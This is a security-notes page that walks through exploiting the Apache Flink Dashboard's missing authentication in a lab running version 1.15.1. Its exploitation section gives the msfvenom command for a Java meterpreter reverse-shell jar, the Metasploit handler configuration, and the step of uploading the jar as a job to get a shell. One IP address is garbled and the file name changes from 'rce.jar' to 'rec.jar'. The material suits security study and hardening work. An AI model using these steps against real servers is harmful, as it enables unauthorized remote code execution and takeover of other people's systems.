> For the complete documentation index, see [llms.txt](https://icybersec.gitbook.io/cybersecuritynote-en/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://icybersec.gitbook.io/cybersecuritynote-en/security-vulnerability/unauthorized-vulnerability/apache-flink-unauthorized-access-vulnerability.md).

# Apache Flink Unauthorized Access Vulnerability

## Vulnerability Description

The Apache Flink Dashboard has no user authentication by default. An attacker can directly upload a trojan jar package through the unauthorized Flink Dashboard console and remotely execute any system command to obtain server privileges.

## Environment setup

Test version: flink-1.15.1

Modify `flink-1.15.1/conf/flink-conf.yaml`,open 8081 port.

![image-20230130110811353](https://3024627155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXR7Pin8lqeHtCxmQjCpG%2Fuploads%2Fgit-blob-5ca65ab567147fb7124999f4653d012d2c6eae26%2Fimage-20230130110811353.png?alt=media)

Start Flink:

```
start-cluster.sh
```

## Vulnerability Exploitation

Access the web page.

![image-20230130110857282](https://3024627155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXR7Pin8lqeHtCxmQjCpG%2Fuploads%2Fgit-blob-ebb5912f2fa918d40eb9f42ab6c72c0006c0ce2c%2Fimage-20230130110857282.png?alt=media)

Use msfvenom to generate rce.jar:

```
┌──(root💀kali)-[/tmp]
└─# msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.32.130 LPORT=4444 -f jar > rce.jar
Payload size: 5310 bytes
Final size of jar file: 5310 bytes
```

Configure msf listening:

```
bashCopy codemsf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 1291.68.32.130
lhost => 1291.68.32.130
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
```

Upload the `rec.jar` file at Submit New Job, click submit.

![image-20230130110921888](https://3024627155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXR7Pin8lqeHtCxmQjCpG%2Fuploads%2Fgit-blob-e95410f6ffb983343ee71c7c14d4ed77d0529a53%2Fimage-20230130110921888.png?alt=media)

Successful get shell.

![image-20230130110926718](https://3024627155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXR7Pin8lqeHtCxmQjCpG%2Fuploads%2Fgit-blob-69adf69720ff723f31903578a318c40fd171fe9c%2Fimage-20230130110926718.png?alt=media)